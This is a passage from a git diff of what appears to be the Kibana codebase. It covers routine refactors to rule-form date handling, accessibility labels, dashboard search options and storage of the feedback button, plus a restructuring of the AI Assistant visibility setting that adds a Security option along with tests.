Moment } from 'moment'; +import moment from 'moment'; import { Frequency } from '@kbn/rrule'; import { ISO_WEEKDAYS_TO_RRULE } from '../constants'; import { getPresets } from './get_presets'; @@ -21,20 +21,21 @@ export const convertToRRule = ({ recurringSchedule, includeTime = false, }: { - startDate: Moment; + startDate: string; timezone: string; recurringSchedule?: RecurringSchedule; includeTime?: boolean; }): RRuleParams => { - const presets = getPresets(startDate); + const startDateMoment = moment(startDate); + const presets = getPresets(startDateMoment); const parsedSchedule = parseSchedule(recurringSchedule); const rRule: RRuleParams = { - dtstart: startDate.toISOString(), + dtstart: startDateMoment.toISOString(), tzid: timezone, ...(Boolean(includeTime) - ? { byhour: [startDate.get('hour')], byminute: [startDate.get('minute')] } + ? { byhour: [startDateMoment.get('hour')], byminute: [startDateMoment.get('minute')] } : {}), }; @@ -74,16 +75,16 @@ export const convertToRRule = ({ if (form.bymonth) { if (form.bymonth === 'day') { - rRule.bymonthday = [startDate.date()]; + rRule.bymonthday = [startDateMoment.date()]; } else if (form.bymonth === 'weekday') { - rRule.byweekday = [getNthByWeekday(startDate)]; + rRule.byweekday = [getNthByWeekday(startDateMoment)]; } } if (frequency === Frequency.YEARLY) { // rRule expects 1 based indexing for months - rRule.bymonth = [startDate.month() + 1]; - rRule.bymonthday = [startDate.date()]; + rRule.bymonth = [startDateMoment.month() + 1]; + rRule.bymonthday = [startDateMoment.date()]; } return rRule; diff --git a/src/platform/packages/shared/response-ops/rule_form/src/common/hooks/use_load_rule_type_alert_fields.test.tsx b/src/platform/packages/shared/response-ops/rule_form/src/common/hooks/use_load_rule_type_alert_fields.test.tsx index 356139cfd56d4..a66dd9c354f97 100644 --- a/src/platform/packages/shared/response-ops/rule_form/src/common/hooks/use_load_rule_type_alert_fields.test.tsx +++ b/src/platform/packages/shared/response-ops/rule_form/src/common/hooks/use_load_rule_type_alert_fields.test.tsx @@ -33,14 +33,16 @@ const fieldsMetadataMock = { describe('useLoadRuleTypeAlertFields', () => { beforeEach(() => { - http.get.mockResolvedValue([ - { - name: '@timestamp', - deprecated: false, - useWithTripleBracesInTemplates: false, - usesPublicBaseUrl: false, - }, - ]); + http.get.mockResolvedValue({ + fields: [ + { + name: '@timestamp', + deprecated: false, + useWithTripleBracesInTemplates: false, + usesPublicBaseUrl: false, + }, + ], + }); }); afterEach(() => { diff --git a/src/platform/packages/shared/response-ops/rule_form/src/common/hooks/use_load_rule_type_alert_fields.ts b/src/platform/packages/shared/response-ops/rule_form/src/common/hooks/use_load_rule_type_alert_fields.ts index b41845352943e..59e76f3c2c103 100644 --- a/src/platform/packages/shared/response-ops/rule_form/src/common/hooks/use_load_rule_type_alert_fields.ts +++ b/src/platform/packages/shared/response-ops/rule_form/src/common/hooks/use_load_rule_type_alert_fields.ts @@ -52,6 +52,8 @@ export const useLoadRuleTypeAlertFields = (props: UseLoadRuleTypeAlertFieldsProp queryKey: ['useLoadRuleTypeAlertFields', ruleTypeId], queryFn, select: (dataViewFields) => { + if (!dataViewFields) return []; + return dataViewFields?.map((d) => ({ name: d.name, description: getDescription(d.name, ecsFlat.current), diff --git a/src/platform/packages/shared/response-ops/rule_form/src/common/services/dashboard_service.test.ts b/src/platform/packages/shared/response-ops/rule_form/src/common/services/dashboard_service.test.ts index 271bce13ba9d3..5c1b2506988a4 100644 --- a/src/platform/packages/shared/response-ops/rule_form/src/common/services/dashboard_service.test.ts +++ b/src/platform/packages/shared/response-ops/rule_form/src/common/services/dashboard_service.test.ts @@ -21,10 +21,8 @@ describe('DashboardService', () => { hits: [], }); - // act const resp = await dashboardService.fetchDashboards({ text: 'test*' }); - // assert expect(searchMock).toHaveBeenCalledWith({ contentTypeId: 'dashboard', query: { @@ -33,7 +31,6 @@ describe('DashboardService', () => { options: { fields: ['title', 'description'], includeReferences: ['tag'], - spaces: ['*'], }, }); expect(resp).toEqual([]); diff --git a/src/platform/packages/shared/response-ops/rule_form/src/common/services/dashboard_service.ts b/src/platform/packages/shared/response-ops/rule_form/src/common/services/dashboard_service.ts index efdc9874b09db..fbe7adc7f68d9 100644 --- a/src/platform/packages/shared/response-ops/rule_form/src/common/services/dashboard_service.ts +++ b/src/platform/packages/shared/response-ops/rule_form/src/common/services/dashboard_service.ts @@ -36,11 +36,11 @@ export function dashboardServiceProvider(contentManagementService: ContentManage * @param query - The query to search for dashboards * @returns - The dashboards that match the query */ - async fetchDashboards(query: SearchQuery = {}) { + async fetchDashboards(query: SearchQuery = {}): Promise { const response = await contentManagementService.client.search({ contentTypeId: 'dashboard', query, - options: { spaces: ['*'], fields: ['title', 'description'], includeReferences: ['tag'] }, + options: { fields: ['title', 'description'], includeReferences: ['tag'] }, }); // Assert the type of response to access hits property diff --git a/src/platform/packages/shared/response-ops/rule_form/src/rule_actions/rule_actions_connectors_modal.tsx b/src/platform/packages/shared/response-ops/rule_form/src/rule_actions/rule_actions_connectors_modal.tsx index f44bf5eecdc92..30fb7a1fcbbec 100644 --- a/src/platform/packages/shared/response-ops/rule_form/src/rule_actions/rule_actions_connectors_modal.tsx +++ b/src/platform/packages/shared/response-ops/rule_form/src/rule_actions/rule_actions_connectors_modal.tsx @@ -49,6 +49,7 @@ export const RuleActionsConnectorsModal = () => { overflow: responsiveOverflow, }} data-test-subj="ruleActionsConnectorsModal" + aria-label={ACTION_TYPE_MODAL_TITLE} > {ACTION_TYPE_MODAL_TITLE} diff --git a/src/platform/packages/shared/response-ops/rule_form/src/rule_definition/rule_consumer_selection.tsx b/src/platform/packages/shared/response-ops/rule_form/src/rule_definition/rule_consumer_selection.tsx index f416a3531895e..0fc0cd0f10058 100644 --- a/src/platform/packages/shared/response-ops/rule_form/src/rule_definition/rule_consumer_selection.tsx +++ b/src/platform/packages/shared/response-ops/rule_form/src/rule_definition/rule_consumer_selection.tsx @@ -98,6 +98,7 @@ export const RuleConsumerSelection = (props: RuleConsumerSelectionProps) => { isInvalid={!!baseErrors?.consumer?.length} error={baseErrors?.consumer} data-test-subj="ruleConsumerSelection" + aria-label={CONSUMER_SELECT_TITLE} > { position="right" type="question" content={ALERT_DELAY_HELP_TEXT} + aria-label={ALERT_DELAY_HELP_TEXT} />

@@ -358,14 +359,12 @@ export const RuleDefinition = () => { title={

{ALERT_FLAPPING_DETECTION_TITLE}

} description={ -

- {ALERT_FLAPPING_DETECTION_DESCRIPTION} - -

+

{ALERT_FLAPPING_DETECTION_DESCRIPTION}

+
} > diff --git a/src/platform/packages/shared/response-ops/rule_form/src/rule_type_modal/components/rule_type_modal.tsx b/src/platform/packages/shared/response-ops/rule_form/src/rule_type_modal/components/rule_type_modal.tsx index 4dc633a8b4b1c..702e61f3f6f8f 100644 --- a/src/platform/packages/shared/response-ops/rule_form/src/rule_type_modal/components/rule_type_modal.tsx +++ b/src/platform/packages/shared/response-ops/rule_form/src/rule_type_modal/components/rule_type_modal.tsx @@ -56,6 +56,10 @@ const loadingPrompt = ( /> ); +const ruleTypeModalTitle = i18n.translate('responseOpsRuleForm.components.ruleTypeModal.title', { + defaultMessage: 'Select rule type', +}); + export const RuleTypeModal: React.FC = ({ onClose, onSelectRuleType, @@ -88,6 +92,7 @@ export const RuleTypeModal: React.FC = overflow: isFullscreenPortrait ? 'auto' : 'hidden', }} data-test-subj="ruleTypeModal" + aria-label={ruleTypeModalTitle} > @@ -95,11 +100,7 @@ export const RuleTypeModal: React.FC = -

- {i18n.translate('responseOpsRuleForm.components.ruleTypeModal.title', { - defaultMessage: 'Select rule type', - })} -

+

{ruleTypeModalTitle}

diff --git a/src/platform/packages/shared/serverless/settings/observability_project/index.ts b/src/platform/packages/shared/serverless/settings/observability_project/index.ts index e12d28de1c81b..297aeb3d87a53 100644 --- a/src/platform/packages/shared/serverless/settings/observability_project/index.ts +++ b/src/platform/packages/shared/serverless/settings/observability_project/index.ts @@ -29,4 +29,5 @@ export const OBSERVABILITY_PROJECT_SETTINGS = [ export const OBSERVABILITY_AI_ASSISTANT_PROJECT_SETTINGS = [ settings.OBSERVABILITY_AI_ASSISTANT_SIMULATED_FUNCTION_CALLING, settings.OBSERVABILITY_AI_ASSISTANT_SEARCH_CONNECTOR_INDEX_PATTERN, + settings.AI_ASSISTANT_PREFERRED_AI_ASSISTANT_TYPE, ]; diff --git a/src/platform/packages/shared/serverless/settings/security_project/index.ts b/src/platform/packages/shared/serverless/settings/security_project/index.ts index 6dacb7940a3aa..2ccbd97dac10e 100644 --- a/src/platform/packages/shared/serverless/settings/security_project/index.ts +++ b/src/platform/packages/shared/serverless/settings/security_project/index.ts @@ -26,4 +26,5 @@ export const SECURITY_PROJECT_SETTINGS = [ settings.SECURITY_SOLUTION_ENABLE_GRAPH_VISUALIZATION_SETTING, settings.SECURITY_SOLUTION_ENABLE_ASSET_INVENTORY_SETTING, settings.SECURITY_SOLUTION_ENABLE_CLOUD_CONNECTOR_SETTING, + settings.AI_ASSISTANT_PREFERRED_AI_ASSISTANT_TYPE, ]; diff --git a/src/platform/packages/shared/shared-ux/chrome/navigation/src/ui/components/feedback_btn.tsx b/src/platform/packages/shared/shared-ux/chrome/navigation/src/ui/components/feedback_btn.tsx index 83daa9c96b42b..19c7a7b9b04e5 100644 --- a/src/platform/packages/shared/shared-ux/chrome/navigation/src/ui/components/feedback_btn.tsx +++ b/src/platform/packages/shared/shared-ux/chrome/navigation/src/ui/components/feedback_btn.tsx @@ -26,13 +26,15 @@ interface Props { export const FeedbackBtn: FC = ({ solutionId }) => { const { euiTheme } = useEuiTheme(); - const [showCallOut, setShowCallOut] = useState( - sessionStorage.getItem(FEEDBACK_BTN_KEY) !== 'hidden' - ); + const [showCallOut, setShowCallOut] = useState(() => { + const storedValue = + localStorage.getItem(FEEDBACK_BTN_KEY) || sessionStorage.getItem(FEEDBACK_BTN_KEY); + return storedValue !== 'hidden'; + }); const onDismiss = () => { setShowCallOut(false); - sessionStorage.setItem(FEEDBACK_BTN_KEY, 'hidden'); + localStorage.setItem(FEEDBACK_BTN_KEY, 'hidden'); }; const onClick = () => { diff --git a/src/platform/plugins/private/kibana_usage_collection/server/collectors/application_usage/schema.ts b/src/platform/plugins/private/kibana_usage_collection/server/collectors/application_usage/schema.ts index 1cdac1b8be1cc..5b2e7f3f325ab 100644 --- a/src/platform/plugins/private/kibana_usage_collection/server/collectors/application_usage/schema.ts +++ b/src/platform/plugins/private/kibana_usage_collection/server/collectors/application_usage/schema.ts @@ -115,7 +115,7 @@ const commonSchema: MakeSchemaFrom = { }, }; -// There is a test in x-pack/test/usage_collection that validates that the keys in here match all the registered apps +// There is a test in x-pack/platform/test/usage_collection that validates that the keys in here match all the registered apps export const applicationUsageSchema = { // OSS dashboards: commonSchema, @@ -139,6 +139,7 @@ export const applicationUsageSchema = { searchInferenceEndpoints: commonSchema, searchPlayground: commonSchema, searchSynonyms: commonSchema, + searchQueryRules: commonSchema, elasticsearchIndices: commonSchema, elasticsearchStart: commonSchema, elasticsearchIndexManagement: commonSchema, @@ -150,6 +151,7 @@ export const applicationUsageSchema = { enterpriseSearchVectorSearch: commonSchema, enterpriseSearchElasticsearch: commonSchema, searchExperiences: commonSchema, + searchHomepage: commonSchema, graph: commonSchema, logs: commonSchema, metrics: commonSchema, diff --git a/src/platform/plugins/private/vis_types/vega/public/data_model/search_api.ts b/src/platform/plugins/private/vis_types/vega/public/data_model/search_api.ts index 4e1888948191a..3f19a29965934 100644 --- a/src/platform/plugins/private/vis_types/vega/public/data_model/search_api.ts +++ b/src/platform/plugins/private/vis_types/vega/public/data_model/search_api.ts @@ -109,7 +109,7 @@ export class SearchAPI { ), map((data) => ({ name: requestId, - rawResponse: data.rawResponse, + rawResponse: structuredClone(data.rawResponse), })) ) ) diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/common/ai_assistant_type.ts b/src/platform/plugins/shared/ai_assistant_management/selection/common/ai_assistant_type.ts index 7f50f99277a75..d0947535299bb 100644 --- a/src/platform/plugins/shared/ai_assistant_management/selection/common/ai_assistant_type.ts +++ b/src/platform/plugins/shared/ai_assistant_management/selection/common/ai_assistant_type.ts @@ -9,6 +9,7 @@ export enum AIAssistantType { Observability = 'observability', + Security = 'security', Default = 'default', Never = 'never', } diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/kibana.jsonc b/src/platform/plugins/shared/ai_assistant_management/selection/kibana.jsonc index d1509c7d34262..5508eb3d5e1c3 100644 --- a/src/platform/plugins/shared/ai_assistant_management/selection/kibana.jsonc +++ b/src/platform/plugins/shared/ai_assistant_management/selection/kibana.jsonc @@ -13,12 +13,13 @@ "aiAssistantManagementSelection" ], "requiredPlugins": [ - "management" + "management", ], "optionalPlugins": [ "home", "serverless", - "features" + "features", + "cloud" ], "requiredBundles": [ "kibanaReact" diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/public/plugin.test.ts b/src/platform/plugins/shared/ai_assistant_management/selection/public/plugin.test.ts new file mode 100644 index 0000000000000..c288feb8cbde0 --- /dev/null +++ b/src/platform/plugins/shared/ai_assistant_management/selection/public/plugin.test.ts @@ -0,0 +1,46 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { CoreStart, PluginInitializerContext } from '@kbn/core/public'; +import { AIAssistantManagementPlugin } from './plugin'; +import { AIAssistantType } from '../common/ai_assistant_type'; +import { PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY } from '../common/ui_setting_keys'; + +describe('AI Assistant Management Selection Plugin', () => { + it('uses the correct setting key to get the correct value from uiSettings', async () => { + const plugin = new AIAssistantManagementPlugin({ + config: { + get: jest.fn(), + }, + env: { packageInfo: { buildFlavor: 'traditional', branch: 'main' } }, + } as unknown as PluginInitializerContext); + + const coreStart = { + uiSettings: { + get: jest.fn((key: string) => { + if (key === PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY) { + return AIAssistantType.Default; + } + }), + }, + } as unknown as CoreStart; + + const result = plugin.start(coreStart); + + const collected: any[] = []; + const subscription = result.aiAssistantType$.subscribe((value) => { + collected.push(value); + }); + subscription.unsubscribe(); + + const allCalls = (coreStart.uiSettings.get as jest.Mock).mock.calls; + expect(allCalls).toEqual([['aiAssistant:preferredAIAssistantType']]); + expect(collected).toEqual([AIAssistantType.Default]); + }); +}); diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/server/config.ts b/src/platform/plugins/shared/ai_assistant_management/selection/server/config.ts index c8aaee1a80626..9e6b64c2492c2 100644 --- a/src/platform/plugins/shared/ai_assistant_management/selection/server/config.ts +++ b/src/platform/plugins/shared/ai_assistant_management/selection/server/config.ts @@ -18,6 +18,7 @@ const configSchema = schema.object({ schema.literal(AIAssistantType.Default), schema.literal(AIAssistantType.Never), schema.literal(AIAssistantType.Observability), + schema.literal(AIAssistantType.Security), ], { defaultValue: AIAssistantType.Default } ), diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/server/plugin.test.ts b/src/platform/plugins/shared/ai_assistant_management/selection/server/plugin.test.ts new file mode 100644 index 0000000000000..5d00c575cb7e9 --- /dev/null +++ b/src/platform/plugins/shared/ai_assistant_management/selection/server/plugin.test.ts @@ -0,0 +1,189 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { PluginInitializerContext, CoreSetup } from '@kbn/core/server'; +import type { AIAssistantManagementSelectionPluginServerDependenciesSetup } from './types'; +import { AIAssistantType } from '../common/ai_assistant_type'; +import { PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY } from '../common/ui_setting_keys'; +import { classicSetting } from './src/settings/classic_setting'; +import { observabilitySolutionSetting } from './src/settings/observability_setting'; +import { securitySolutionSetting } from './src/settings/security_setting'; +import { AIAssistantManagementSelectionPlugin } from './plugin'; + +describe('plugin', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + describe('stateless', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + const initializerContext = { + env: { + packageInfo: { + buildFlavor: 'serverless', + }, + }, + config: { + get: jest.fn(), + }, + } as unknown as PluginInitializerContext; + + const coreSetup = { + uiSettings: { + register: jest.fn(), + }, + capabilities: { + registerProvider: jest.fn(), + }, + } as unknown as CoreSetup; + + const setupDeps = { + management: { + sections: { + getSection: jest.fn(), + }, + }, + serverless: { + uiSettings: { + register: jest.fn(), + }, + }, + }; + + it('registers correct uiSettings for serverless oblt', () => { + (initializerContext.config.get as jest.Mock).mockReturnValue({ + preferredAIAssistantType: AIAssistantType.Observability, + }); + const aiAssistantManagementSelectionPlugin = new AIAssistantManagementSelectionPlugin( + initializerContext + ); + aiAssistantManagementSelectionPlugin.setup(coreSetup, { + ...setupDeps, + cloud: { + serverless: { + projectType: 'observability', + }, + }, + } as unknown as AIAssistantManagementSelectionPluginServerDependenciesSetup); + + expect(coreSetup.uiSettings.register).toHaveBeenCalledTimes(1); + + expect(coreSetup.uiSettings.register).toHaveBeenCalledWith({ + [PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY]: { + ...observabilitySolutionSetting, + value: AIAssistantType.Observability, + }, + }); + }); + + it('registers correct uiSettings for serverless security', () => { + (initializerContext.config.get as jest.Mock).mockReturnValue({ + preferredAIAssistantType: AIAssistantType.Security, + }); + const aiAssistantManagementSelectionPlugin = new AIAssistantManagementSelectionPlugin( + initializerContext + ); + aiAssistantManagementSelectionPlugin.setup(coreSetup, { + ...setupDeps, + cloud: { + serverless: { + projectType: 'security', + }, + }, + } as unknown as AIAssistantManagementSelectionPluginServerDependenciesSetup); + + expect(coreSetup.uiSettings.register).toHaveBeenCalledTimes(1); + + expect(coreSetup.uiSettings.register).toHaveBeenCalledWith({ + [PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY]: { + ...securitySolutionSetting, + value: AIAssistantType.Security, + }, + }); + }); + + it('registers correct uiSettings for serverless search', () => { + (initializerContext.config.get as jest.Mock).mockReturnValue({ + preferredAIAssistantType: undefined, + }); + const aiAssistantManagementSelectionPlugin = new AIAssistantManagementSelectionPlugin( + initializerContext + ); + aiAssistantManagementSelectionPlugin.setup(coreSetup, { + ...setupDeps, + cloud: { + serverless: { + projectType: 'search', + }, + }, + } as unknown as AIAssistantManagementSelectionPluginServerDependenciesSetup); + + expect(coreSetup.uiSettings.register).toHaveBeenCalledTimes(1); + expect(coreSetup.uiSettings.register).toHaveBeenCalledWith({ + [PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY]: { + ...classicSetting, + value: AIAssistantType.Default, + }, + }); + }); + }); + + describe('stateful', () => { + it('uses the correct setting key to get the correct value from uiSettings', async () => { + const initializerContext = { + env: { + packageInfo: { + buildFlavor: 'classic', + }, + }, + config: { + get: jest.fn().mockReturnValue({ + preferredAIAssistantType: AIAssistantType.Observability, + }), + }, + } as unknown as PluginInitializerContext; + const aiAssistantManagementSelectionPlugin = new AIAssistantManagementSelectionPlugin( + initializerContext + ); + + const coreSetup = { + uiSettings: { + register: jest.fn(), + }, + capabilities: { + registerProvider: jest.fn(), + }, + } as unknown as CoreSetup; + + const setupDeps = { + management: { + sections: { + getSection: jest.fn(), + }, + }, + serverless: { + uiSettings: { + register: jest.fn(), + }, + }, + } as unknown as AIAssistantManagementSelectionPluginServerDependenciesSetup; + + aiAssistantManagementSelectionPlugin.setup(coreSetup, setupDeps); + + expect(coreSetup.uiSettings.register).toHaveBeenCalledTimes(1); + expect(coreSetup.uiSettings.register).toHaveBeenCalledWith({ + [PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY]: { + ...classicSetting, + value: AIAssistantType.Observability, + }, + }); + }); + }); +}); diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/server/plugin.ts b/src/platform/plugins/shared/ai_assistant_management/selection/server/plugin.ts index 67a4e000ed78d..742584ceebafe 100644 --- a/src/platform/plugins/shared/ai_assistant_management/selection/server/plugin.ts +++ b/src/platform/plugins/shared/ai_assistant_management/selection/server/plugin.ts @@ -16,7 +16,6 @@ import { Plugin, DEFAULT_APP_CATEGORIES, } from '@kbn/core/server'; -import { schema } from '@kbn/config-schema'; import { KibanaFeatureScope } from '@kbn/features-plugin/common'; import type { AIAssistantManagementSelectionConfig } from './config'; import type { @@ -25,8 +24,11 @@ import type { AIAssistantManagementSelectionPluginServerSetup, AIAssistantManagementSelectionPluginServerStart, } from './types'; -import { AIAssistantType } from '../common/ai_assistant_type'; import { PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY } from '../common/ui_setting_keys'; +import { classicSetting } from './src/settings/classic_setting'; +import { observabilitySolutionSetting } from './src/settings/observability_setting'; +import { securitySolutionSetting } from './src/settings/security_setting'; +import { AIAssistantType } from '../common/ai_assistant_type'; export class AIAssistantManagementSelectionPlugin implements @@ -47,52 +49,6 @@ export class AIAssistantManagementSelectionPlugin core: CoreSetup, plugins: AIAssistantManagementSelectionPluginServerDependenciesSetup ) { - core.uiSettings.register({ - [PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY]: { - name: i18n.translate('aiAssistantManagementSelection.preferredAIAssistantTypeSettingName', { - defaultMessage: 'AI Assistant for Observability and Search visibility', - }), - category: [DEFAULT_APP_CATEGORIES.observability.id], - value: this.config.preferredAIAssistantType, - description: i18n.translate( - 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingDescription', - { - defaultMessage: - '[technical preview] Whether to show the AI Assistant menu item in Observability and Search, everywhere, or nowhere.', - values: { - em: (chunks) => `${chunks}`, - }, - } - ), - schema: schema.oneOf( - [ - schema.literal(AIAssistantType.Default), - schema.literal(AIAssistantType.Observability), - schema.literal(AIAssistantType.Never), - ], - { defaultValue: this.config.preferredAIAssistantType } - ), - options: [AIAssistantType.Default, AIAssistantType.Observability, AIAssistantType.Never], - type: 'select', - optionLabels: { - [AIAssistantType.Default]: i18n.translate( - 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueDefault', - { defaultMessage: 'Observability and Search only (default)' } - ), - [AIAssistantType.Observability]: i18n.translate( - 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueObservability', - { defaultMessage: 'Everywhere' } - ), - [AIAssistantType.Never]: i18n.translate( - 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueNever', - { defaultMessage: 'Nowhere' } - ), - }, - requiresPageReload: true, - solution: 'oblt', - }, - }); - core.capabilities.registerProvider(() => { return { management: { @@ -154,9 +110,48 @@ export class AIAssistantManagementSelectionPlugin }, }); + this.registerUiSettings(core, plugins); + return {}; } + private registerUiSettings( + core: CoreSetup, + plugins: AIAssistantManagementSelectionPluginServerDependenciesSetup + ) { + const { cloud } = plugins; + const serverlessProjectType = cloud?.serverless.projectType; + + switch (serverlessProjectType) { + case 'observability': + core.uiSettings.register({ + [PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY]: { + ...observabilitySolutionSetting, + value: this.config.preferredAIAssistantType, + }, + }); + return; + case 'security': + core.uiSettings.register({ + [PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY]: { + ...securitySolutionSetting, + value: this.config.preferredAIAssistantType, + }, + }); + return; + // TODO: Add another case for search with the correct copy of the setting. + // see: https://github.com/elastic/kibana/issues/227695 + default: + // This case is hit when in stateful Kibana + return core.uiSettings.register({ + [PREFERRED_AI_ASSISTANT_TYPE_SETTING_KEY]: { + ...classicSetting, + value: this.config.preferredAIAssistantType ?? AIAssistantType.Default, + }, + }); + } + } + public start(core: CoreStart) { return {}; } diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/classic_setting.ts b/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/classic_setting.ts new file mode 100644 index 0000000000000..bf5f9105102b0 --- /dev/null +++ b/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/classic_setting.ts @@ -0,0 +1,56 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { i18n } from '@kbn/i18n'; + +import { schema } from '@kbn/config-schema'; +import { UiSettingsParams } from '@kbn/core-ui-settings-common'; +import { AIAssistantType } from '../../../common/ai_assistant_type'; +import { + ONLY_IN_THEIR_SOLUTIONS, + OBSERVABILITY_IN_OTHER_APPS, + SECURITY_IN_OTHER_APPS, + HIDE_ALL_ASSISTANTS, + TITLE, +} from './translations'; + +// Define the classicSetting with proper typing +export const classicSetting: Omit, 'value'> = { + name: TITLE, + description: i18n.translate( + 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingDescription', + { + defaultMessage: + 'Choose where and which AI Assistants are available. You can limit the AI Assistants to their own solutions, show either the Observability and Search AI Assistants or the Security AI Assistant in other Kibana apps, or hide AI Assistants entirely.', + } + ), + schema: schema.oneOf( + [ + schema.literal(AIAssistantType.Default), + schema.literal(AIAssistantType.Observability), + schema.literal(AIAssistantType.Security), + schema.literal(AIAssistantType.Never), + ], + { defaultValue: AIAssistantType.Default } + ), + options: [ + AIAssistantType.Default, + AIAssistantType.Observability, + AIAssistantType.Security, + AIAssistantType.Never, + ], + type: 'select' as const, + optionLabels: { + [AIAssistantType.Default]: ONLY_IN_THEIR_SOLUTIONS, + [AIAssistantType.Observability]: OBSERVABILITY_IN_OTHER_APPS, + [AIAssistantType.Security]: SECURITY_IN_OTHER_APPS, + [AIAssistantType.Never]: HIDE_ALL_ASSISTANTS, + }, + requiresPageReload: true, +}; diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/observability_setting.ts b/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/observability_setting.ts new file mode 100644 index 0000000000000..caecf5d3099a5 --- /dev/null +++ b/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/observability_setting.ts @@ -0,0 +1,42 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { i18n } from '@kbn/i18n'; + +import { schema } from '@kbn/config-schema'; +import { UiSettingsParams } from '@kbn/core-ui-settings-common'; +import { AIAssistantType } from '../../../common/ai_assistant_type'; +import { SHOW_OBSERVABILITY, HIDE_ASSISTANT, TITLE } from './translations'; + +// Define the classicSetting with proper typing +export const observabilitySolutionSetting: Omit< + UiSettingsParams, + 'value' +> = { + name: TITLE, + description: i18n.translate( + 'aiAssistantManagementSelection.observabilitySolutionSetting.preferredAIAssistantTypeSettingDescription', + { + defaultMessage: + 'Choose if the Observability AI Assistant is available. Show the Observability AI Assistant, or hide the Assistant entirely.', + } + ), + schema: schema.oneOf( + [schema.literal(AIAssistantType.Observability), schema.literal(AIAssistantType.Never)], + { defaultValue: AIAssistantType.Observability } + ), + options: [AIAssistantType.Observability, AIAssistantType.Never], + type: 'select' as const, + optionLabels: { + [AIAssistantType.Observability]: SHOW_OBSERVABILITY, + [AIAssistantType.Never]: HIDE_ASSISTANT, + }, + requiresPageReload: true, + solution: 'oblt', +}; diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/security_setting.ts b/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/security_setting.ts new file mode 100644 index 0000000000000..03b4553b02860 --- /dev/null +++ b/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/security_setting.ts @@ -0,0 +1,42 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { i18n } from '@kbn/i18n'; + +import { schema } from '@kbn/config-schema'; +import { UiSettingsParams } from '@kbn/core-ui-settings-common'; +import { AIAssistantType } from '../../../common/ai_assistant_type'; +import { SHOW_SECURITY, HIDE_ASSISTANT, TITLE } from './translations'; + +// Define the securitySolutionSetting with proper typing +export const securitySolutionSetting: Omit< + UiSettingsParams, + 'value' +> = { + name: TITLE, + description: i18n.translate( + 'aiAssistantManagementSelection.securitySolutionSetting.preferredAIAssistantTypeSettingDescription', + { + defaultMessage: + 'Choose if the Security AI Assistant is available. Show the Security AI Assistant, or hide the Assistant entirely.', + } + ), + schema: schema.oneOf( + [schema.literal(AIAssistantType.Security), schema.literal(AIAssistantType.Never)], + { defaultValue: AIAssistantType.Security } + ), + options: [AIAssistantType.Security, AIAssistantType.Never], + type: 'select' as const, + optionLabels: { + [AIAssistantType.Security]: SHOW_SECURITY, + [AIAssistantType.Never]: HIDE_ASSISTANT, + }, + requiresPageReload: true, + solution: 'security', +}; diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/translations.ts b/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/translations.ts new file mode 100644 index 0000000000000..26634464ea1e4 --- /dev/null +++ b/src/platform/plugins/shared/ai_assistant_management/selection/server/src/settings/translations.ts @@ -0,0 